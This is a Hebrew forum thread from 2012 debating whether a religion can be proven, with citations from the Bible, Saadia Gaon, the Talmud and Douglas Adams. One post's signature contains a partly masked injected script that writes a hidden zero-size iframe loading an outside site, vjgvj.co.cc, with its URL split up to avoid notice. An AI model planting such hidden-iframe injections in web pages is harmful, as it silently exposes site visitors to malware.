|
|
| נשלח ב-29/2/2012 17:27 |
|
| |
| מיימוני כתב: |  | מסורתי וכולם
האם הנושא של האשכול לא השתנה?
מסורתי העלה כעת טיעון מעניין. אני מעתיק את חלקו המרכזי.
אין שום הוכחות שבגלל אנו אמורים לאחוז בדת כלשהי!!
אין אין אין אין אין!!
וזה לא במקרה שאין הוכחה אלא בכוונה תחילה כך אלוהים עשה שלא יהיו הוכחות!!! (לפחות לפי תפיסת חזל ) ואני שואל: היכן מצאנו בחז"ל את התפיסה שה' עשה שלא יהיו הוכחות?
ועוד: מדוע אם כן ערך אליהו ניסוי בהר הכרמל, בין ה' לבין הבעל?
ומדוע האמין רב סעדיה גאון שבידו להוכיח את היהדות מבחינה פילוסופית? האם יצא נגד חז"ל ונגד התורה?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
שאלות מצויינות.
אני אמשיך אותן: למה לעשות משהו בלתי מוכח? למה לכפות על מישהו אחר משהו בלתי מוכח? למה שהא-ל ייחייב לעשות משהו בלתי מוכח? מה ההבדלים בין כל הדתות בהנחה שאף אחת לא מוכחת?
|
|
|
|
| נשלח ב-29/2/2012 17:27 |
|
| |
אלי וודאי שהם היו דתיים, למרות שהיו במעמד הר סיני הם עשו עגל, ש"מ שזו לא היתה הוכחה מוחצת.
|
|
|
|
| נשלח ב-29/2/2012 17:30 |
|
| |
היי, בעל. השאלה היא אליבא דמסורתי שטוען כי דת מוכחת אינה דת.
|
|
|
|
| נשלח ב-29/2/2012 22:48 |
|
| |
| ושםהאחר כתב: |  | | אתה צריך לחזור וללמוד גמרא ולראו כי חכמנו פסלו ונלחמו מלחמת חורמה, עם בוז ולעג, גכל אלו שלא חשבו כמוהם. |
|
תן מקור
|
|
|
|
| נשלח ב-29/2/2012 22:49 |
|
| |
| בעלבעמיו כתב: |  | מה אליהו אמר לעם בהר הכרמל, אם ה' הוא האלוקים וכו' |
|
זה היה בשביל לעקור את עובדי הבעל, זה היה הענין שם
|
|
|
|
| נשלח ב-29/2/2012 22:49 |
|
| |
| ירוחםשמ כתב: |  | ואתה רואה כי אליהו הנביא בגלל מטרותיו החיוביות- ביטל ועבר על מצווה חמורה מהתורה, הוא הקריב לא במקדש. סימן שיש לפעמים מצב שאפשר לעבור על מצוות |
|
לפי חזל זה סימן למשהו אחר..
|
|
|
|
| נשלח ב-29/2/2012 22:52 |
|
| |
| מטפחתספרים כתב: |  | דת שיש לה הוכחות על הטענות העיקריות שלה - אז היא לא דת אלא הגיון/רציונליות
דגלס אדמס - ההוכחה האונטולוגית לאי קיום אלוהים.
- "דג בבל, הוא דג קטן, צהוב ועלוקתי, וכפי הנראה הוא גם הדבר המוזר ביותר בגלקסיה. הוא ניזון מאנרגיית הגלים שהוא קולט, לא ממוחו של נושא, כי אם ממוחותיהם של מי שסובבים אותו. הוא סופג את כל התדירויות המנטליות, התת-הכרתיות מאנרגיית גלי מוח זו וניזון ממנה. אח"כ הוא מפריש למוחו של נושאו מטריצות טלפתיות הנבנות מהרכבת תדירויות המחשבה ההכרתיות על אותות עצביים הנקלטים ממרכז הדיבור של המוח ששידרם. התוצאה המעשית של כל זה היא שאם תתקע דג בבל באוזנך, תוכל מיד להבין כל מה שנאמר לך, בכל שפה, מכל משפחה דקדוקית שהיא.
- כיוון שזהו צירוף מקרים בלתי מובן באופן מוזר כ"כ שמשהו שימושי באופן מבלבל את המוח כ"כ התפתח באופן מקרי לחלוטין כ"כ בחרו כמה הוגים לראות בכך הוכחה סופית ונחרצת לאי קיומו של אלוהים.
- הטיעון נשמע כמו: 'אני מסרב להוכיח שאני קיים', אמר אלוהים, 'שכן הוכחה נוגדת אמונה, ובלי אמונה אין אני ולא כלום.'
- 'אבל', אמר האדם, 'דג הבבל תוקע אותך, לא? לא מתקבל על הדעת שהתפתח במקרה. זה מוכיח שאתה קיים, ולפיכך, עפ"י טיעוניך שלך, אינך קיים. מ.ש.ל.'
- 'אוה, אלוהים,' אומר אלוהים, 'על זה לא חשבתי.' ובו במקום מתפוגג בעננת הגיון.
- 'אה, זה היה קל,' אומר האדם, ובתור הדרן, ממשיך ומוכיח ששחור הוא לבן, ונהרג במעבר החציה הקרוב.
- בינתיים גרם דג הבבל המסכן, באמצעות הסרתם המוצלחת של כל המחסומים לתקשורת בין גזעים ותרבויות שונים, למספר רב ועקוב מדם של מלחמות, יותר מאשר כל דבר אחר בהיסטוריה של הבריאה. מדריך הטרמפיסט לגלקסיה עמוד 42
|
|
כמו דגלס היו עוד המון אנשים שלא ידעו להבדיל בין אמונה לבין אמונה עיוורת...
לא נורא לא קרה כלום.. לא כולם זכו להכיר חזל כמו שצריך...
 |
|
|
|
|
| נשלח ב-29/2/2012 22:52 |
|
| |
| eli_s כתב: |  | לא אמרתי שחייבת להיות הוכחה לדת, אלא שתיתכן דת עם הוכחה.
הוכחה לדבריי הבאתי מהדור של מעמד הר סיני.
כשנעבור את השלב הזה, נוכל להתחיל לדבר על מהויות ההוכחה, הצורך בה וכו'.
זה לא נקרא דת עם הוכחה כוון שההוכחה הזו מתאימה רק לאותו דור וממלא זה לא נקרא הוכחה
כוון שגם אני יכול לומר שהיה מעמד הר תבור למלייארד אנשים אבל זה קרה לפני 100000 שנה
מבין?
באותו הדור הם היו דתיים או לא? |
|
ולכן?
|
|
|
|
| נשלח ב-29/2/2012 22:59 |
|
| |
מסורתי תסלח לי מסורתי אתה מדבר על דברים שאינך יודע, חז"ל לא מדברים על סימן למשהו אחר, הם שואלים גם. אתה מבקש מקורות משם האחר- עיין בגמרא במנחות על ריב"ז בויכוח עם הצדוקי הזקן.
|
|
|
|
| נשלח ב-29/2/2012 23:34 |
|
| |
| ירוחםשמ כתב: |  | מסורתי תסלח לי מסורתי אתה מדבר על דברים שאינך יודע, חז"ל לא מדברים על סימן למשהו אחר, הם שואלים גם. אתה מבקש מקורות משם האחר- עיין בגמרא במנחות על ריב"ז בויכוח עם הצדוקי הזקן. |
|
מה איני יודע?
באיזה עמוד במנחות?
|
|
|
|
| נשלח ב-1/3/2012 02:21 |
|
| |
| msorti כתב: |  | לא אמרתי שחייבת להיות הוכחה לדת, אלא שתיתכן דת עם הוכחה.
הוכחה לדבריי הבאתי מהדור של מעמד הר סיני.
כשנעבור את השלב הזה, נוכל להתחיל לדבר על מהויות ההוכחה, הצורך בה וכו'.
זה לא נקרא דת עם הוכחה כוון שההוכחה הזו מתאימה רק לאותו דור וממלא זה לא נקרא הוכחה
כוון שגם אני יכול לומר שהיה מעמד הר תבור למלייארד אנשים אבל זה קרה לפני 100000 שנה
מבין?
באותו הדור הם היו דתיים או לא?
ולכן?
|
|
באותו דור הייתה דת מוכחת?
|
|
|
|
| נשלח ב-1/3/2012 04:16 |
|
| |
אם דת = תכלית אז התשובה היא כן אבל לא רק באותו דור אלא בכל דור ודור (כמעט..)
|
|
|
|
| נשלח ב-1/3/2012 10:36 |
|
| |
מסורתי אינך יודע שחז"ל לא הפכו את מעשה אליהו לסימן. איני יודע אם לזה כיוון שםאחר
מנחות דף סה.
שהיו בייתוסין אומרים: עצרת אחר השבת, ניטפל להם רבן יוחנן בן זכאי ואמר להם: שוטים, מנין לכם? ולא היה אדם אחד שהיה משיבו, חוץ מזקן אחד שהיה מפטפט כנגדו ואמר: משה רבינו אוהב ישראל היה, ויודע שעצרת יום אחד הוא, עמד ותקנה אחר שבת כדי שיהו ישראל מתענגין שני ימים; קרא עליו מקרא זה: +דברים א'+ אחד עשר יום מחורב דרך הר שעיר, ב ואם משה רבינו אוהב ישראל היה, למה איחרן במדבר ארבעים שנה? אמר לו: רבי, בכך אתה פוטרני? אמר לו: שוטה, ולא תהא תורה שלמה שלנו כשיחה בטילה שלכם!
|
|
|
|
|
| נשלח ב-1/3/2012 13:33 |
|
| |
| msorti כתב: |  | אם דת = תכלית אז התשובה היא כן אבל לא רק באותו דור אלא בכל דור ודור (כמעט..)
|
|
אז הדת מוכחת או לא?
|
|
|
|
| נשלח ב-1/3/2012 13:55 |
|
| |
| ירוחםשמ כתב: |  | מסורתי אינך יודע שחז"ל לא הפכו את מעשה אליהו לסימן. איני יודע אם לזה כיוון שםאחר
מנחות דף סה.
שהיו בייתוסין אומרים: עצרת אחר השבת, ניטפל להם רבן יוחנן בן זכאי ואמר להם: שוטים, מנין לכם? ולא היה אדם אחד שהיה משיבו, חוץ מזקן אחד שהיה מפטפט כנגדו ואמר: משה רבינו אוהב ישראל היה, ויודע שעצרת יום אחד הוא, עמד ותקנה אחר שבת כדי שיהו ישראל מתענגין שני ימים; קרא עליו מקרא זה: +דברים א'+ אחד עשר יום מחורב דרך הר שעיר, ב ואם משה רבינו אוהב ישראל היה, למה איחרן במדבר ארבעים שנה? אמר לו: רבי, בכך אתה פוטרני? אמר לו: שוטה, ולא תהא תורה שלמה שלנו כשיחה בטילה שלכם!
|
|
מסכים אבל מה זה סותר את דברי, הבנת מה רציתי לומר לעיל??
|
|
|
|
|